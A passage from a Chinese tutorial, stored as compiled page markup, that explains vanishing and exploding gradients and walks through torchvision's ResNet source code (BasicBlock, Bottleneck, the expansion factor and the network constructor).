\u5728\u6df1\u5c42\u7f51\u7edc\u6216\u5faa\u73af\u795e\u7ecf\u7f51\u7edc\u4e2d\uff0c\u8bef\u5dee\u68af\u5ea6\u53ef\u5728\u66f4\u65b0\u4e2d\u7d2f\u79ef\uff0c\u53d8\u6210\u975e\u5e38\u5927\u7684\u68af\u5ea6\uff0c\u7136\u540e\u5bfc\u81f4\u7f51\u7edc\u6743\u91cd\u7684\u5927\u5e45\u66f4\u65b0\uff0c\u5e76\u56e0\u6b64\u4f7f\u7f51\u7edc\u53d8\u5f97\u4e0d\u7a33\u5b9a\u3002\u5728\u6781\u7aef\u60c5\u51b5\u4e0b\uff0c\u6743\u91cd\u7684\u503c\u53d8\u5f97\u975e\u5e38\u5927\uff0c\u4ee5\u81f3\u4e8e\u6ea2\u51fa\uff0c\u5bfc\u81f4 NaN \u503c\u3002 ",(0,t.jsx)(e.strong,{children:"\u7f51\u7edc\u5c42\u4e4b\u95f4\u7684\u68af\u5ea6\uff08\u503c\u5927\u4e8e 1.0\uff09\u91cd\u590d\u76f8\u4e58\u5bfc\u81f4\u7684\u6307\u6570\u7ea7\u589e\u957f\u4f1a\u4ea7\u751f\u68af\u5ea6\u7206\u70b8\u3002"})," \u5728\u6df1\u5ea6\u591a\u5c42\u611f\u77e5\u673a\u7f51\u7edc\u4e2d\uff0c\u68af\u5ea6\u7206\u70b8\u4f1a\u5f15\u8d77\u7f51\u7edc\u4e0d\u7a33\u5b9a\uff0c\u6700\u597d\u7684\u7ed3\u679c\u662f\u65e0\u6cd5\u4ece\u8bad\u7ec3\u6570\u636e\u4e2d\u5b66\u4e60\uff0c\u800c\u6700\u574f\u7684\u7ed3\u679c\u662f\u51fa\u73b0\u65e0\u6cd5\u518d\u66f4\u65b0\u7684 NaN \u6743\u91cd\u503c\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u800c\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\uff0c\u68af\u5ea6\u4f1a\u53d8\u5f97\u975e\u5e38\u5c0f\uff0c ",(0,t.jsx)(e.strong,{children:"\u7f51\u7edc\u5c42\u4e4b\u95f4\u7684\u68af\u5ea6\uff08\u503c\u5c0f\u4e8e 1.0\uff09\u91cd\u590d\u76f8\u4e58\u5bfc\u81f4\u7684\u6307\u6570\u7ea7\u53d8\u5c0f\u4f1a\u4ea7\u751f\u68af\u5ea6\u6d88\u5931"}),"\u3002\u5728\u6700\u574f\u7684\u60c5\u51b5\u4e0b\uff0c\u8fd9\u53ef\u80fd\u4f1a\u5b8c\u5168\u505c\u6b62\u795e\u7ecf\u7f51\u7edc\u7684\u8fdb\u4e00\u6b65\u8bad\u7ec3\u3002\u4f8b\u5982\uff0c\u4f20\u7edf\u7684\u6fc0\u6d3b\u51fd\u6570(\u5982\u53cc\u66f2\u6b63\u5207\u51fd\u6570)\u5177\u6709\u8303\u56f4(0,1)\u5185\u7684\u68af\u5ea6\uff0c\u53cd\u5411\u4f20\u64ad\u901a\u8fc7\u94fe\u5f0f\u6cd5\u5219\u8ba1\u7b97\u68af\u5ea6\u3002\u8fd9\u6837\u505a\u7684\u6548\u679c\u662f\uff0c\u7528\u8fd9\u4e9b\u5c0f\u6570\u5b57\u7684n\u4e58\u4ee5n\u6765\u8ba1\u7b97n\u5c42\u7f51\u7edc\u4e2d\u201c\u524d\u7aef\u201d\u5c42\u7684\u68af\u5ea6\uff0c\u8fd9\u610f\u5473\u7740\u68af\u5ea6(\u8bef\u5dee\u4fe1\u53f7)\u968fn\u5448\u6307\u6570\u9012\u51cf\uff0c\u800c\u524d\u7aef\u5c42\u7684\u8bad\u7ec3\u975e\u5e38\u7f13\u6162\u3002\u6700\u7ec8\u5bfc\u81f4\u66f4\u65b0\u505c\u6ede\u3002"]}),"\n",(0,t.jsx)(e.h2,{id:"2-\u6e90\u7801\u89e3\u8bfb",children:"2 \u6e90\u7801\u89e3\u8bfb"}),"\n",(0,t.jsxs)(e.p,{children:["\u4e3a\u4e86\u5e2e\u52a9\u5927\u5bb6\u5bf9ResNet\u6709\u66f4\u597d\u7684\u7406\u89e3\uff0c\u6211\u4eec\u4f7f\u7528",(0,t.jsx)(e.a,{href:"https://github.com/pytorch/vision/blob/master/torchvision/models/resnet.py",children:"torchvision\u7684ResNet\u6e90\u7801"}),"\u8fdb\u884c\u89e3\u8bfb\u3002"]}),"\n",(0,t.jsx)(e.h3,{id:"21-\u5377\u79ef\u6838\u7684\u5c01\u88c5",children:"2.1 \u5377\u79ef\u6838\u7684\u5c01\u88c5"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u4ee3\u7801\u7684\u5f00\u59cb\uff0c\u9996\u5148\u5c01\u88c5\u4e863x3\u548c1x1\u7684\u5377\u79ef\u6838\uff0c\u8fd9\u6837\u53ef\u4ee5\u589e\u52a0\u4ee3\u7801\u7684\u53ef\u8bfb\u6027\u3002\u9664\u4e86\u8fd9\u79cd\u4ee3\u7801\u5199\u6cd5\u5916\uff0c\u8fd8\u6709\u8bb8\u591a\u6df1\u5ea6\u5b66\u4e60\u4ee3\u7801\u5728\u5f00\u59cb\u4e5f\u4f1a\u5c06\u5377\u79ef\u5c42\uff0c\u6fc0\u6d3b\u51fd\u6570\u5c42\u548cBN\u5c42\u5c01\u88c5\u5728\u4e00\u8d77\uff0c\u540c\u6837\u662f\u4e3a\u4e86\u589e\u52a0\u4ee3\u7801\u7684\u53ef\u8bfb\u6027\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'def conv3x3(in_planes: int, out_planes: int, stride: int = 1, groups: int = 1, dilation: int = 1) -> nn.Conv2d:\n """3x3 convolution with padding"""\n return nn.Conv2d(\n in_planes,\n out_planes,\n kernel_size=3,\n stride=stride,\n padding=dilation,\n groups=groups,\n bias=False,\n dilation=dilation,\n )\n\n\ndef conv1x1(in_planes: int, out_planes: int, stride: int = 1) -> nn.Conv2d:\n """1x1 convolution"""\n return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False)\n'})}),"\n",(0,t.jsx)(e.h3,{id:"22-\u57fa\u672c\u6a21\u5757\u7684\u8bbe\u8ba1",children:"2.2 \u57fa\u672c\u6a21\u5757\u7684\u8bbe\u8ba1"}),"\n",(0,t.jsx)(e.p,{children:"ResNet\u7f51\u7edc\u662f\u7531\u5f88\u591a\u76f8\u540c\u7684\u6a21\u5757\u5806\u53e0\u8d77\u6765\u7684\uff0c\u4e3a\u4e86\u4fdd\u8bc1\u4ee3\u7801\u5177\u6709\u53ef\u8bfb\u6027\u548c\u53ef\u6269\u5c55\u6027\uff0cResNet\u5728\u8bbe\u8ba1\u65f6\u91c7\u7528\u4e86\u6a21\u5757\u5316\u8bbe\u8ba1\uff0c\u9488\u5bf9\u4e0d\u540c\u5927\u5c0f\u7684ResNet\uff0c\u4e66\u5199\u4e86BasicBlock\u548cBottleNeck\u4e24\u4e2a\u57fa\u672c\u6a21\u5757\u3002\u8fd9\u79cd\u6a21\u5757\u5316\u7684\u8bbe\u8ba1\u5728\u73b0\u5728\u8bb8\u591a\u5e38\u89c1\u7684\u6df1\u5ea6\u5b66\u4e60\u4ee3\u7801\u4e2d\u6211\u4eec\u53ef\u4ee5\u7ecf\u5e38\u770b\u5230\u3002"}),"\n",(0,t.jsx)(e.p,{children:"ResNet\u5e38\u89c1\u7684\u5927\u5c0f\u6709\u4e0b\u56fe\u7684ResNet-18\uff0cResNet-34\uff0cResNet-50\u3001ResNet-101\u548cResNet-152\uff0c\u5176\u4e2d\u7f51\u7edc\u540e\u9762\u7684\u6570\u5b57\u4ee3\u8868\u7684\u662f\u7f51\u7edc\u7684\u5c42\u6570\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{alt:"expansion",src:s(3850).A+"",width:"875",height:"377"})}),"\n",(0,t.jsx)(e.p,{children:"\u4e3a\u4e86\u5e2e\u52a9\u5927\u5bb6\u66f4\u597d\u7684\u7406\u89e3\uff0c\u6211\u4eec\u4ee5ResNet101\u4e3a\u4f8b\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:"layer_name"}),(0,t.jsx)(e.th,{children:"\u6b21\u6570"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv1"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef1\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv2_x"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef3 x 3 = 9\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv3_x"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef4 x 3 = 12\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv4_x"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef23 x 3 = 69\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv5_x"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef3 x 3 = 9\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"fc"}),(0,t.jsx)(e.td,{children:"average pool 1\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5408\u8ba1"}),(0,t.jsx)(e.td,{children:"1 + 9 + 12 + 69 + 9 + 1 = 101\u6b21"})]})]})]}),"\n",(0,t.jsx)(e.p,{children:"\u89c2\u5bdf\u4e0a\u9762\u5404\u4e2aResNet\u7684\u6a21\u5757\uff0c\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0ResNet-18\u548cResNet-34\u6bcf\u4e00\u5c42\u5185\uff0c\u6570\u636e\u7684\u5927\u5c0f\u4e0d\u4f1a\u53d1\u751f\u53d8\u5316\uff0c\u4f46\u662fResNet-50\u3001ResNet-101\u548cResNet-152\u4e2d\u7684\u6bcf\u4e00\u5c42\u5185\u8f93\u5165\u548c\u8f93\u51fa\u7684channel\u6570\u76ee\u4e0d\u4e00\u6837\uff0c\u8f93\u51fa\u7684channel\u6269\u5927\u4e3a\u8f93\u5165channel\u76844\u500d\uff0c\u9664\u6b64\u4e4b\u5916\uff0c\u6bcf\u4e00\u5c42\u7684\u5377\u79ef\u7684\u5927\u5c0f\u4e5f\u53d8\u6362\u4e3a1\uff0c3\uff0c1\u7684\u7ed3\u6784\u3002\u57fa\u4e8e\u8fd9\u4e2a\u53d1\u73b0\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06ResNet-18\u548cResNet-34\u7684\u6784\u6210\u6a21\u5757\u5f53\u4f5c\u4e00\u7c7b\uff0cResNet-50\u3001ResNet-101\u548cResNet-152\u8fd9\u4e09\u7c7b\u7f51\u7edc\u7684\u6784\u6210\u6a21\u5757\u5f53\u4f5c\u4e00\u7c7b\u3002\u4e8b\u5b9e\u4e0a\uff0ctorchvision\u7684\u6e90\u7801\u4e5f\u662f\u57fa\u4e8e\u8fd9\u79cd\u8bbe\u8ba1\u601d\u60f3\uff0c\u4f7f\u7528\u5982\u4e0b\u56fe\u7684BasicBlock\uff08\u5de6\uff09\u548cBottleNeck\uff08\u53f3\uff09\u6a21\u5757\uff0c\u5e76\u4e14\u4e3a\u4e86\u63a7\u5236\u8f93\u5165\u548c\u8f93\u51fa\u7684\u901a\u9053\u6570\u76ee\u7684\u53d8\u5316\uff0c\u5728\u4ee3\u7801\u4e2d\u8f93\u51fa\u7684\u901a\u9053\u7ef4\u5ea6\u4e5f\u901a\u8fc7expansion\u8fdb\u884c\u63a7\u5236\uff0c\u4e24\u4e2ablock\u7c7b\u8f93\u5165\u4e00\u4e2a\u901a\u9053\u4e3ain_planes\u7ef4\u7684\u5ea6\u7279\u5f81\u56fe\uff0c\u8f93\u51fa\u4e00\u4e2aplanes*block.expansion\u7ef4\u7684\u7279\u5f81\u56fe\uff0c\u5176\u4e2dplanes\u7684\u6570\u76ee\u5927\u5c0f\u7b49\u4e8ein_planes\u3002\u9664\u6b64\u4ee5\u5916\uff0c\u4ee3\u7801\u53f3\u4fa7\u7684\u66f2\u7ebf\u5c31\u662f\u672c\u6587\u6700\u91cd\u8981\u7684shortcut\u652f\u8def\uff0c\u8be5\u652f\u8def\u4e0a\u7684downsample\u64cd\u4f5c\u662f\u4e3a\u4e86\u5bf9shortcut\u652f\u8def\u8fdb\u884c\u5927\u5c0f\u6216\u7ef4\u5ea6\u4e0a\u7684\u8c03\u6574\uff0c\u4ee5\u5e0c\u671b\u6267\u884c\u76f8\u52a0\u64cd\u4f5c"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{alt:"block",src:s(56974).A+"",width:"928",height:"372"})}),"\n",(0,t.jsx)(e.h4,{id:"221-shortcut-connection",children:"2.2.1 Shortcut Connection."}),"\n",(0,t.jsx)(e.p,{children:"\u8fd9\u91cc\u518d\u5206\u6790\u4e00\u4e0bshortcut connection\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{alt:"shortcut",src:s(88723).A+"",width:"463",height:"273"})}),"\n",(0,t.jsx)(e.p,{children:"shortcut connection\u4e5f\u5c31\u662f\u6240\u8c13\u7684\u201c\u6284\u8fd1\u9053\u201d\uff0c\u5b83\u6709\u4e24\u79cd\u65b9\u5f0f\uff0c\u5176\u4e00\u4e3a\u540c\u7b49\u7ef4\u5ea6\u7684\u6620\u5c04\uff0c\u5373\u8f93\u5165\u8f93\u51fa\u76f4\u63a5\u76f8\u52a0\uff08\u5373\u4e0a\u56fe\u4e2d\u7684F(x) + x\uff09\uff0c\u53e6\u4e00\u79cd\u4e3a\u4e0d\u540c\u7ef4\u5ea6\u7684\u6620\u5c04\uff0c\u8fd9\u65f6\u5019\u5c31\u9700\u8981\u7ed9x\u8865\u5145\u4e00\u4e2a\u7ebf\u6027\u6620\u5c04\u6765\u5339\u914d\u7ef4\u5ea6\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u6bd4\u5982\u4e0b\u9762\u8fd9\u4e2a\u56fe\uff1a"}),"\n",(0,t.jsx)(e.img,{src:"./figures/shortcut2.jpg"}),"\n",(0,t.jsx)(e.p,{children:"\u5de6\uff1aVGG-19\u6a21\u578b\uff0c\u4f5c\u4e3a\u53c2\u8003\u3002 \u4e2d\uff1a\u4e00\u4e2a\u670934\u4e2a\u53c2\u6570\u5c42\u7684\u666e\u901a\u7f51\u7edc\u3002 \u53f3\uff1a\u4e00\u4e2a\u670934\u4e2a\u53c2\u6570\u5c42\u7684\u6b8b\u5dee\u7f51\u7edc\uff08\u5373resnet34\uff09"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u4e0a\u56fe\u6700\u53f3\u4fa7\u7684\u8def\u5f84\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u5f88\u660e\u663e\u7684\u770b\u5230shortcut connection\u52a0\u5165\u4e86\u7f51\u7edc\u4e4b\u4e2d\uff0c\u540c\u65f6\uff0c\u56fe\u4e2d\u4e5f\u5f88\u660e\u663e\u7684\u53ef\u4ee5\u770b\u5230\uff0c\u5b9e\u7ebf\u90e8\u5206\u5c31\u662f\u8fdb\u884c\u4e86\u5355\u7eaf\u7684F(x)+x\u64cd\u4f5c\uff0c\u800c\u865a\u7ebf\u90e8\u5206\uff0c\u7b2c\u4e00\u4e2a\u5377\u79ef\u5c42\u7684stride\u662f2\uff08\u90a3\u4e2a/2\u7684\u610f\u601d\u5c31\u662fstride\u662f2\uff09\uff1b\u540c\u65f6\u6ce8\u610f\u5230\u6df1\u5ea6\u4e5f\u53d1\u751f\u4e86\u53d8\u6362\uff0cchannel\u6570\u76ee\u589e\u52a0\u4e00\u500d\uff08\u6269\u5927\u4e24\u500d\uff09\uff0c\u8fd9\u6837F(x)\u7684\u5206\u8fa8\u7387\u6bd4x\u5c0f\u4e00\u534a\uff0c\u539a\u5ea6\u6bd4x\u5927\u4e00\u500d\u3002\u5728\u8fd9\u6837\u7684shortcut connection\u4e2d\uff0c\u5c31\u9700\u8981\u8865\u5145\u7ebf\u6027\u6620\u5c04\u6765\u589e\u52a0\u7ef4\u5ea6\u3002\u5728ResNet\u4e2d\uff0c\u4f5c\u8005\u4f7f\u7528\u4e861 x 1\u7684\u5377\u79ef\u6838\u6765\u8fbe\u5230\u8fd9\u4e2a\u76ee\u7684\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u53e6\u5916\uff0c\u8bba\u6587\u4e2d\u53c8\u63d0\u5230\u8bf4\uff1a\u201c\u2026\u2026where both designs have similar time complexity.\u201d \u65e2\u7136BasicBlock\u548cBottleneck\u4e8c\u8005\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u7c7b\u4f3c\uff0c\u90a3\u4e48\u4e3a\u4ec0\u4e48\u8fd8\u8981\u989d\u5916\u8bbe\u8ba1\u4e00\u4e2aBottleneck\u7ed3\u6784\u5462\uff1f"}),"\n",(0,t.jsx)(e.p,{children:"\u6839\u636e\u524d\u9762\u7684\u53d9\u8ff0\u6211\u4eec\u77e5\u9053\uff0cBasicBlock\u7ed3\u6784\u6bd4\u4f20\u7edf\u7684\u5377\u79ef\u7ed3\u6784\u591a\u4e86\u4e00\u4e2ashortcut\u652f\u8def\uff0c\u7528\u4e8e\u4f20\u9012\u4f4e\u5c42\u7684\u4fe1\u606f\uff0c\u4f7f\u5f97\u7f51\u7edc\u80fd\u591f\u8bad\u7ec3\u5730\u5f88\u6df1\u3002\u800cBottleNeck\u5148\u901a\u8fc7\u4e00\u4e2a1x1\u7684\u5377\u79ef\u51cf\u5c11\u901a\u9053\u6570\uff0c\u4f7f\u5f97\u4e2d\u95f4\u5377\u79ef\u7684\u901a\u9053\u6570\u51cf\u5c11\u4e3a1/4\uff1b\u4e2d\u95f4\u7684\u666e\u901a\u5377\u79ef\u505a\u5b8c\u5377\u79ef\u540e\u8f93\u51fa\u901a\u9053\u6570\u7b49\u4e8e\u8f93\u5165\u901a\u9053\u6570\uff1b\u7b2c\u4e09\u4e2a\u5377\u79ef\u7528\u4e8e\u6062\u590d\u901a\u9053\u6570\uff0c\u4f7f\u5f97BottleNeck\u7684\u8f93\u51fa\u901a\u9053\u6570\u7b49\u4e8eBottleNeck\u7684\u8f93\u5165\u901a\u9053\u6570\u3002**\u6362\u53e5\u8bdd\u8bf4\uff0c\u8fd9\u4e24\u4e2a1x1\u5377\u79ef\u6709\u6548\u5730\u51cf\u5c11\u4e86\u5377\u79ef\u7684\u53c2\u6570\u4e2a\u6570\u548c\u8ba1\u7b97\u91cf\uff0c\u540c\u65f6\u51cf\u5c11\u4e86\u4e2d\u95f4\u7279\u5f81\u56fe\u7684\u901a\u9053\u6570\uff0c\u4f7f\u5355\u4e2aBlock\u6d88\u8017\u7684\u663e\u5b58\u66f4\u5c11\uff0c\u5728\u8f83\u6df1\u7684\u7f51\u7edc\u4e2dBottleNeck\u4f1a\u5728\u53c2\u6570\u4e0a\u66f4\u52a0\u8282\u7ea6\uff0c\u8fd9\u6837\u53ef\u4ee5\u6709\u5229\u4e8e\u6784\u5efa\u5c42\u6570\u66f4\u591a\u7684\u7f51\u7edc\uff0c\u540c\u65f6\u8fd8\u80fd\u4fdd\u6301\u6027\u80fd\u7684\u63d0\u5347\u3002**\u6240\u4ee5resnet50, resnet101\u548cresnet152\u4f7f\u7528\u4e86\u53e6\u5916\u8bbe\u8ba1\u7684BottleNeck\u7ed3\u6784\u3002"}),"\n",(0,t.jsx)(e.h4,{id:"222-basicblock",children:"2.2.2 BasicBlock"}),"\n",(0,t.jsx)(e.p,{children:"BasicBlock\u6a21\u5757\u7528\u6765\u6784\u5efaresnet18\u548cresnet34"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'class BasicBlock(nn.Module):\n expansion: int = 1\n\n def __init__(\n self,\n inplanes: int,\n planes: int,\n stride: int = 1,\n downsample: Optional[nn.Module] = None,\n groups: int = 1,\n base_width: int = 64,\n dilation: int = 1,\n norm_layer: Optional[Callable[..., nn.Module]] = None,\n ) -> None:\n super().__init__()\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n if groups != 1 or base_width != 64:\n raise ValueError("BasicBlock only supports groups=1 and base_width=64")\n if dilation > 1:\n raise NotImplementedError("Dilation > 1 not supported in BasicBlock")\n # Both self.conv1 and self.downsample layers downsample the input when stride != 1\n self.conv1 = conv3x3(inplanes, planes, stride)\n self.bn1 = norm_layer(planes)\n self.relu = nn.ReLU(inplace=True)\n self.conv2 = conv3x3(planes, planes)\n self.bn2 = norm_layer(planes)\n self.downsample = downsample\n self.stride = stride\n\n def forward(self, x: Tensor) -> Tensor:\n identity = x # x \u7ed9\u81ea\u5df1\u5148\u5907\u4efd\u4e00\u4efd\n\n out = self.conv1(x) # \u5bf9x\u505a\u5377\u79ef \n out = self.bn1(out) # \u5bf9x\u5f52\u4e00\u5316 \n out = self.relu(out) # \u5bf9x\u7528\u6fc0\u6d3b\u51fd\u6570\n\n out = self.conv2(out) # \u5bf9x\u505a\u5377\u79ef\n out = self.bn2(out) # \u5f52\u4e00\u5316\n\n if self.downsample is not None:\n identity = self.downsample(x)\n\n out += identity # \u8fdb\u884cdownsample\n out = self.relu(out)\n\n return out\n'})}),"\n",(0,t.jsx)(e.h4,{id:"223-bottleneck",children:"2.2.3 BottleNeck"}),"\n",(0,t.jsx)(e.p,{children:"BottleNeck\u6a21\u5757\u7528\u6765\u6784\u5efaresnet50\uff0cresnet101\u548cresnet152"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'class Bottleneck(nn.Module):\n # Bottleneck in torchvision places the stride for downsampling at 3x3 convolution(self.conv2)\n # while original implementation places the stride at the first 1x1 convolution(self.conv1)\n # according to "Deep residual learning for image recognition"https://arxiv.org/abs/1512.03385.\n # This variant is also known as ResNet V1.5 and improves accuracy according to\n # https://ngc.nvidia.com/catalog/model-scripts/nvidia:resnet_50_v1_5_for_pytorch.\n\n expansion: int = 4 # \u5bf9\u8f93\u51fa\u901a\u9053\u8fdb\u884c\u500d\u589e\n\n def __init__(\n self,\n inplanes: int,\n planes: int,\n stride: int = 1,\n downsample: Optional[nn.Module] = None,\n groups: int = 1,\n base_width: int = 64,\n dilation: int = 1,\n norm_layer: Optional[Callable[..., nn.Module]] = None,\n ) -> None:\n super().__init__()\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n width = int(planes * (base_width / 64.0)) * groups\n # Both self.conv2 and self.downsample layers downsample the input when stride != 1\n self.conv1 = conv1x1(inplanes, width)\n self.bn1 = norm_layer(width)\n self.conv2 = conv3x3(width, width, stride, groups, dilation)\n self.bn2 = norm_layer(width)\n self.conv3 = conv1x1(width, planes * self.expansion)\n self.bn3 = norm_layer(planes * self.expansion)\n self.relu = nn.ReLU(inplace=True)\n self.downsample = downsample\n self.stride = stride\n\n # Bottleneckd forward\u51fd\u6570\u548cBasicBlock\u7c7b\u4f3c\uff0c\u4e0d\u518d\u989d\u5916\u6ce8\u91ca\n def forward(self, x: Tensor) -> Tensor:\n identity = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n out = self.relu(out)\n\n out = self.conv3(out)\n out = self.bn3(out)\n\n if self.downsample is not None:\n identity = self.downsample(x)\n\n out += identity\n out = self.relu(out)\n\n return out\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u6211\u4eec\u5728\u8fd9\u91cc\u518d\u5bf9\u4ee3\u7801\u4e2d",(0,t.jsx)(e.strong,{children:"expansion"}),"\u7684\u4f5c\u7528\u505a\u4e00\u4e2a\u8bf4\u660e\uff0c\u6211\u4eec\u53ef\u4ee5\u91cd\u65b0\u56de\u987e\u4e00\u4e0b\u4e0b\u9762\u8fd9\u5f20\u56fe\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:s(3850).A+"",width:"875",height:"377"})}),"\n",(0,t.jsx)(e.p,{children:"expansion\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u5bf9\u8f93\u51fa\u901a\u9053\u7684\u500d\u4e58\u3002\u5728BasicBlock\u548cBottleNeck\u4e2d\uff0c\u201c__init__\u201d\u51fd\u6570\u4e2d\u6709\u4e09\u4e2a\u6bd4\u8f83\u5173\u952e\u7684\u53c2\u6570\uff1ainplanes,planes\u548cstride\uff0c\u8fd9\u4e09\u8005\u5206\u522b\u8868\u793a\u8f93\u5165\u7684\u901a\u9053\u6570\uff0c\u8f93\u51fa\u7684\u901a\u9053\u6570\u548c\u6b65\u5e45\u3002\u5728\u4e24\u4e2a\u6a21\u5757\u4e2d\uff0c__init__\u4f20\u5165\u7684planes\u90fd\u662f64,128,156,512\uff0c\u4f46\u6211\u4eec\u89c2\u5bdf\u4e0a\u9762\u7684\u8868\u683c\uff0c\u4f1a\u53d1\u73b0\u5bf9\u4e8eResNet-50\uff0cResNet-101\u548cResNet-152\u800c\u8a00\uff0c\u5b83\u4eec\u9700\u8981\u7684\u8f93\u51fa\u901a\u9053\u5e94\u8be5\u4e3a256,512,1024,2048\u624d\u5bf9\u3002\u56e0\u6b64\u5728\u8fd9\u91cc\u8bbe\u7f6eexpansion=4\uff0c\u5bf9\u5e94\u4e0a\u9762BottleNeck\u4ee3\u7801\u4e2d\u768430\u884c\u548c31\u884c\uff0c\u5c06\u6bcf\u4e00\u4e2aplanes\u90fd\u4e58\u4e0a\u8fd9\u4e2aexpansion\uff0c\u5c31\u5f97\u5230\u4e86\u9700\u8981\u7684\u901a\u9053\u6570\uff1b\u800c\u5bf9\u4e8eResNet-18\u548cResNet-34\u800c\u8a00\uff0c\u8f93\u5165\u901a\u9053\u548c\u8f93\u51fa\u901a\u9053\u7684\u7ef4\u5ea6\u4e0a\u6ca1\u6709\u53d1\u751f\u53d8\u5316\uff0c\u56e0\u6b64expansion\u4e5f\u8bbe\u7f6e\u4e3a1\u3002"}),"\n",(0,t.jsx)(e.h3,{id:"23-\u7f51\u7edc\u6574\u4f53\u7ed3\u6784",children:"2.3 \u7f51\u7edc\u6574\u4f53\u7ed3\u6784"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u5b9a\u4e49\u597d\u6700\u57fa\u672c\u7684Bottlenneck\u548cBasicBlock\u540e\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u6784\u5efaResNet\u7f51\u7edc\u4e86\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'class ResNet(nn.Module):\n def __init__(\n self,\n block: Type[Union[BasicBlock, Bottleneck]], # \u9009\u62e9\u57fa\u672c\u6a21\u5757\n layers: List[int], # \u6bcf\u4e00\u5c42block\u7684\u6570\u76ee\u6784\u6210 -> [3,4,6,3]\n num_classes: int = 1000, # \u5206\u7c7b\u6570\u76ee\n zero_init_residual: bool = False, # \u521d\u59cb\u5316\n \n #######\u5176\u4ed6\u5377\u79ef\u6784\u6210\uff0c\u4e0e\u672c\u6587ResNet\u65e0\u5173######\n groups: int = 1,\n width_per_group: int = 64,\n replace_stride_with_dilation: Optional[List[bool]] = None,\n #########################################\n \n norm_layer: Optional[Callable[..., nn.Module]] = None, # norm\u5c42\n ) -> None:\n super().__init__()\n _log_api_usage_once(self)\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n self._norm_layer = norm_layer\n\t\t\n self.inplanes = 64 # \u8f93\u5165\u901a\u9053\n \n #######\u5176\u4ed6\u5377\u79ef\u6784\u6210\uff0c\u4e0e\u672c\u6587ResNet\u65e0\u5173######\n self.dilation = 1 # \u7a7a\u6d1e\u5377\u79ef\n if replace_stride_with_dilation is None:\n # each element in the tuple indicates if we should replace\n # the 2x2 stride with a dilated convolution instead\n replace_stride_with_dilation = [False, False, False]\n if len(replace_stride_with_dilation) != 3:\n raise ValueError(\n "replace_stride_with_dilation should be None "\n f"or a 3-element tuple, got {replace_stride_with_dilation}"\n )\n self.groups = groups\n self.base_width = width_per_group\n #########################################\n \n self.conv1 = nn.Conv2d(3, self.inplanes, kernel_size=7, stride=2, padding=3, bias=False)\n self.bn1 = norm_layer(self.inplanes)\n self.relu = nn.ReLU(inplace=True)\n self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)\n # \u901a\u8fc7_make_layer\u5e26\u5230\u5c42\u6b21\u5316\u8bbe\u8ba1\u7684\u6548\u679c\n self.layer1 = self._make_layer(block, 64, layers[0]) # \u5bf9\u5e94\u7740conv2_x\n self.layer2 = self._make_layer(block, 128, layers[1], stride=2, dilate=replace_stride_with_dilation[0]) # \u5bf9\u5e94\u7740conv3_x\n self.layer3 = self._make_layer(block, 256, layers[2], stride=2, dilate=replace_stride_with_dilation[1]) # \u5bf9\u5e94\u7740conv4_x\n self.layer4 = self._make_layer(block, 512, layers[3], stride=2, dilate=replace_stride_with_dilation[2]) # \u5bf9\u5e94\u7740conv5_x\n # \u5206\u7c7b\u5934\n self.avgpool = nn.AdaptiveAvgPool2d((1, 1))\n self.fc = nn.Linear(512 * block.expansion, num_classes)\n\t\t\n # \u6a21\u578b\u521d\u59cb\u5316\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight, mode="fan_out", nonlinearity="relu")\n elif isinstance(m, (nn.BatchNorm2d, nn.GroupNorm)):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n\n # 